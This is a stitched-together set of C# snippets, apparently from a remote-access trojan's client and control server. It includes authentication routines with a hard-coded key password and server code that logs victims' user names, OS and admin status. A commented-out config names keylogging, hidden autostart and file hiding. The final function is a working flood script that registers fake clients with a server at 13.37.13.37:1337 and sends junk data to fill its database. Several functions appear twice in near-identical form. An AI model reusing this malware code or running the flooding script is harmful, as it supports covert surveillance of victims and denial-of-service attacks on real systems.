private bool Register(BinaryReader binaryReader, BinaryWriter binaryWriter) { //binaryWriter.Write((byte) AuthentificationIntention.ClientRegister); if (binaryReader.ReadByte() != (byte)AuthentificationFeedback.GetKey) { return(false); } var keyIndex = binaryReader.ReadInt32(); var keys = new KeyDatabase(); binaryWriter.Write(keys.GetKey(keyIndex, "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh")); if (binaryReader.ReadByte() != (byte)AuthentificationFeedback.GetHardwareId) { return(false); } binaryWriter.Write(GetHardwareId()); var result = binaryReader.ReadByte(); if ((AuthentificationFeedback)result == AuthentificationFeedback.GetClientTag) { binaryWriter.Write("Stress Test"); result = binaryReader.ReadByte(); } return(result == (byte)AuthentificationFeedback.Accepted); }
internal bool Authenticate(BinaryReader binaryReader, BinaryWriter binaryWriter) { if (binaryReader.ReadByte() != (byte)AuthentificationFeedback.GetKey) { return(false); } var keyIndex = binaryReader.ReadInt32(); var keys = new KeyDatabase(); binaryWriter.Write(keys.GetKey(keyIndex, "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh")); if (binaryReader.ReadByte() != (byte)AuthentificationFeedback.GetHardwareId) { return(false); } binaryWriter.Write(InformationCollector.GetHardwareId()); var result = binaryReader.ReadByte(); if ((AuthentificationFeedback)result == AuthentificationFeedback.GetClientTag) { binaryWriter.Write(Settings.GetBuilderProperty <ClientTagBuilderProperty>().ClientTag); result = binaryReader.ReadByte(); } return(result == (byte)AuthentificationFeedback.Accepted); }
private bool Register(BinaryReader binaryReader, BinaryWriter binaryWriter) { if (binaryReader.ReadByte() != (byte) AuthentificationFeedback.GetKey) return false; var keyIndex = binaryReader.ReadInt32(); var keys = new KeyDatabase(); binaryWriter.Write(keys.GetKey(keyIndex, "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh")); if (binaryReader.ReadByte() != (byte) AuthentificationFeedback.GetHardwareId) return false; binaryWriter.Write(GetHardwareId()); var result = binaryReader.ReadByte(); if ((AuthentificationFeedback) result == AuthentificationFeedback.GetClientTag) { binaryWriter.Write("Stress Test"); result = binaryReader.ReadByte(); } return result == (byte) AuthentificationFeedback.Accepted; }
public bool LogIn(SslStream sslStream, BinaryReader binaryReader, BinaryWriter binaryWriter, out ClientData clientData, out CoreClientInformation coreClientInformation, out bool isNewClient) { clientData = null; coreClientInformation = null; isNewClient = false; Logger.Debug("Send key request"); binaryWriter.Write((byte)AuthentificationFeedback.GetKey); var keys = new KeyDatabase(); var index = Random.Next(keys.Length); var key = keys.GetKey(index, "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh"); binaryWriter.Write(index); var result = binaryReader.ReadString(); if (key != result) { binaryWriter.Write((byte)AuthentificationFeedback.InvalidKey); Logger.Info("Invalid key - denied"); return(false); } Logger.Debug("Valid key. Get hardware id"); binaryWriter.Write((byte)AuthentificationFeedback.GetHardwareId); var hardwareId = binaryReader.ReadString(); if (hardwareId.Length > 256) { Logger.Info("Client rejected because the hardware id was too long. Length: {0}, MaxLength: 256", hardwareId.Length); return(false); } Logger.Debug("Hardware id received: {0}", hardwareId); Logger.Debug("Get client from database..."); var knowClient = _databaseManager.GetClient(hardwareId, out clientData); string clientTag = null; Logger.Debug(knowClient ? "Client was already registered" : "Seems like a new client"); if (knowClient) { Logger.Debug("Client accepted"); binaryWriter.Write((byte)AuthentificationFeedback.Accepted); } else { Logger.Debug("Get client tag"); binaryWriter.Write((byte)AuthentificationFeedback.GetClientTag); clientTag = binaryReader.ReadString(); if (clientTag.Length > 256) { Logger.Info("Client rejected because the client tag was too long. Length: {0}, MaxLength: 256", clientTag.Length); return(false); } Logger.Debug("Client tag received: {0}. Client accepted", clientTag); binaryWriter.Write((byte)AuthentificationFeedback.Accepted); } var serializer = new Serializer(typeof(BasicComputerInformation)); Logger.Debug("Attempt to deserialize BasicComputerInformation"); var basicComputerInformation = (BasicComputerInformation)serializer.Deserialize(sslStream); Logger.Debug("BasicComputerInformation received, processing..."); coreClientInformation = new CoreClientInformation { UserName = basicComputerInformation.UserName, OSName = basicComputerInformation.OSName, OSType = basicComputerInformation.OSType, Language = basicComputerInformation.Language, IsAdministrator = basicComputerInformation.IsAdministrator, IsServiceRunning = basicComputerInformation.IsServiceRunning, Plugins = basicComputerInformation.Plugins, LoadablePlugins = basicComputerInformation.LoadablePlugins, ClientConfig = null, ClientVersion = basicComputerInformation.ClientVersion, ClientPath = basicComputerInformation.ClientPath, ApiVersion = basicComputerInformation.ApiVersion, FrameworkVersion = basicComputerInformation.FrameworkVersion }; Logger.Trace("Client Information:\r\n{0}", coreClientInformation); if (coreClientInformation.OSName.Length > 256) { Logger.Info("Client rejected because the OSName was too long. Length: {0}, MaxLength: 256", coreClientInformation.OSName.Length); return(false); } if (coreClientInformation.UserName.Length > 256) { Logger.Info("Client rejected because the UserName was too long. Length: {0}, MaxLength: 256", coreClientInformation.UserName.Length); return(false); } if (coreClientInformation.Language.Length > 32) { Logger.Info("Client rejected because the Language was too long. Length: {0}, MaxLength: 256", coreClientInformation.Language.Length); return(false); } Logger.Debug("Seems like the information is OK"); if (knowClient) { Logger.Debug("Because the client was already registered, updating database entry"); _databaseManager.RefreshClient(clientData.Id, coreClientInformation.UserName, coreClientInformation.OSName, (int)coreClientInformation.OSType, coreClientInformation.Language, null); clientData.UserName = coreClientInformation.UserName; clientData.OSName = coreClientInformation.OSName; clientData.OSType = coreClientInformation.OSType; clientData.Language = coreClientInformation.Language; } else { Logger.Info("Register client..."); Logger.Debug("Create database entry"); var id = _databaseManager.AddClient(coreClientInformation.UserName, hardwareId, coreClientInformation.OSName, (int)coreClientInformation.OSType, coreClientInformation.Language, clientTag, null); if (id == -1) { Logger.Fatal("The generated id of the new client is -1"); return(false); } clientData = new ClientData { Id = id, Language = coreClientInformation.Language, HardwareId = hardwareId, LastSeen = DateTime.UtcNow, UserName = coreClientInformation.UserName, OSType = coreClientInformation.OSType, OSName = coreClientInformation.OSName, Group = clientTag }; } Logger.Debug("Client authentication successful"); isNewClient = !knowClient; return(true); }
public bool LogIn(SslStream sslStream, BinaryReader binaryReader, BinaryWriter binaryWriter, out ClientData clientData, out CoreClientInformation information, out bool isNewClient) { clientData = null; information = null; isNewClient = false; binaryWriter.Write((byte)AuthentificationFeedback.GetKey); var keys = new KeyDatabase(); var index = Random.Next(keys.Length); var key = keys.GetKey(index, "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh"); binaryWriter.Write(index); var result = binaryReader.ReadString(); if (key != result) { binaryWriter.Write((byte)AuthentificationFeedback.InvalidKey); Logger.Info("Invalid key - denied"); return(false); } binaryWriter.Write((byte)AuthentificationFeedback.GetHardwareId); var hardwareId = binaryReader.ReadString(); if (hardwareId.Length > 256) { Logger.Info("Client rejected because the hardware id was too long. Length: {0}, MaxLength: 256", hardwareId.Length); return(false); } var knowClient = _databaseManager.GetClient(hardwareId, out clientData); string clientTag = null; if (knowClient) { binaryWriter.Write((byte)AuthentificationFeedback.Accepted); } else { binaryWriter.Write((byte)AuthentificationFeedback.GetClientTag); clientTag = binaryReader.ReadString(); if (clientTag.Length > 256) { Logger.Info("Client rejected because the client tag was too long. Length: {0}, MaxLength: 256", clientTag.Length); return(false); } binaryWriter.Write((byte)AuthentificationFeedback.Accepted); } var serializer = new Serializer(typeof(BasicComputerInformation)); var tempInformation = (BasicComputerInformation)serializer.Deserialize(sslStream); information = new CoreClientInformation { ApiVersion = tempInformation.ApiVersion, ClientConfig = null /*new Shared.Client.ClientConfig * { * Mutex = tempInformation.ClientConfig.Mutex, * InstallationFolder = tempInformation.ClientConfig.InstallFolder, * IpAddresses = * new List<IpAddressInfo> * { * new IpAddressInfo * { * Ip = tempInformation.ClientConfig.IpAddress, * Port = tempInformation.ClientConfig.Port * } * }, * NewCreationDate = tempInformation.ClientConfig.NewCreationDate, * ClientTag = tempInformation.ClientConfig.ClientTag, * RegistryAutostartKeyName = tempInformation.ClientConfig.StartupKey, * HideFile = tempInformation.ClientConfig.HideFile, * Install = tempInformation.ClientConfig.InstallToFolder, * ChangeCreationDate = tempInformation.ClientConfig.ChangeCreationDate, * ForceInstallerAdministratorRights = tempInformation.ClientConfig.ForceInstallerAdministratorRights, * SetAdminFlag = tempInformation.ClientConfig.SetAdminFlag, * InstallService = tempInformation.ClientConfig.InstallService, * IsKeyloggerEnabled = tempInformation.ClientConfig.IsKeyloggerEnabled, * AdministrationRightsRequired = tempInformation.ClientConfig.AdministrationRightsRequired, * RegistryHiddenAutostart = tempInformation.ClientConfig.HiddenStart, * ReconnectDelay = tempInformation.ClientConfig.ReconnectDelay, * AutostartMethod = tempInformation.ClientConfig.Autostart ? 1 : 0, * FrameworkVersion = tempInformation.ClientConfig.FrameworkVersion * }*/, ClientPath = tempInformation.ClientPath, ClientVersion = tempInformation.ClientVersion, FrameworkVersion = tempInformation.FrameworkVersion, Language = tempInformation.Language, UserName = tempInformation.UserName, OSType = tempInformation.OSType, Plugins = tempInformation.Plugins, IsAdministrator = tempInformation.IsAdministrator, IsServiceRunning = tempInformation.IsServiceRunning, OSName = tempInformation.OSName, LoadablePlugins = tempInformation.LoadablePlugins }; Logger.Debug("Client Information:\r\n" + information); if (information.OSName.Length > 256) { Logger.Info("Client rejected because the OSName was too long. Length: {0}, MaxLength: 256", information.OSName.Length); return(false); } if (information.UserName.Length > 256) { Logger.Info("Client rejected because the UserName was too long. Length: {0}, MaxLength: 256", information.UserName.Length); return(false); } if (information.Language.Length > 32) { Logger.Info("Client rejected because the Language was too long. Length: {0}, MaxLength: 256", information.Language.Length); return(false); } if (knowClient) { _databaseManager.RefreshClient(clientData.Id, information.UserName, information.OSName, (int)information.OSType, information.Language, null); clientData.UserName = information.UserName; clientData.OSName = information.OSName; clientData.OSType = information.OSType; clientData.Language = information.Language; } else { Logger.Info("Register client..."); var id = _databaseManager.AddClient(information.UserName, hardwareId, information.OSName, (int)information.OSType, information.Language, clientTag, null); if (id == -1) { Logger.Error("The generated id of the new client is -1"); return(false); } clientData = new ClientData { Id = id, Language = information.Language, HardwareId = hardwareId, LastSeen = DateTime.UtcNow, UserName = information.UserName, OSType = information.OSType, OSName = information.OSName, Group = clientTag }; } isNewClient = !knowClient; return(true); }
public static void doTheThing() { var client = new TcpClient(); SslStream sslStream = null; try { client.Connect("13.37.13.37", 1337); sslStream = new SslStream(client.GetStream(), true, (o, certificate, chain, errors) => true); sslStream.AuthenticateAsClient("Hello."); } catch { Console.WriteLine("Failed to connect. Server dead?"); return; } sslStream.Write(new byte[] { 0 }); // client var binaryReader = new BinaryReader(sslStream); var binaryWriter = new BinaryWriter(sslStream, Encoding.UTF8, true); binaryWriter.Write(5); // we're using api v5 binaryReader.ReadByte(); if (binaryReader.ReadByte() != 0) { Console.WriteLine("Error? 1"); return; } int position = binaryReader.ReadInt32(); KeyDatabase keyDatabase = new KeyDatabase(); binaryWriter.Write(keyDatabase.GetKey(position, "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh")); if (binaryReader.ReadByte() != 6) { Console.WriteLine("Error? 2"); return; } var provider = new RNGCryptoServiceProvider(); var hwidSalt = new byte[4]; provider.GetBytes(hwidSalt); //hwid binaryWriter.Write("foo bar baz buzz" + BitConverter.ToUInt32(hwidSalt, 0).ToString()); // arbitrary byte b = binaryReader.ReadByte(); if (b == 7) { if (new Random().Next(0, 5) < 3) { binaryWriter.Write(""); } else if (new Random().Next(0, 5) < 1) { binaryWriter.Write(randomString(255)); } else { binaryWriter.Write(randomString(2) + new string('\n', 252)); } b = binaryReader.ReadByte(); } if (b != 3) { Console.WriteLine("Error 3?"); return; } var randomKiloByte = new byte[2048]; provider.GetBytes(randomKiloByte); var information = new BasicComputerInformation() { UserName = randomString(new Random().Next(0, 255)), // you can just put in TempleOS too or randomString(256) OperatingSystemName = "Microsoft Windows 10 Pro", Language = "English (United States)", IsAdministrator = new Random().Next(3) != 1, ClientConfig = null, ClientVersion = new Random().Next(19), ApiVersion = 2, ClientPath = new string('\a', 10000), FrameworkVersion = 1, MacAddress = randomKiloByte // wastes space in their database }; new Serializer(new List <Type>(BuilderPropertyHelper.GetAllBuilderPropertyTypes()) { typeof(BasicComputerInformation) }).Serialize(sslStream, information); Console.WriteLine($"Connected fake client #{++iterations}"); }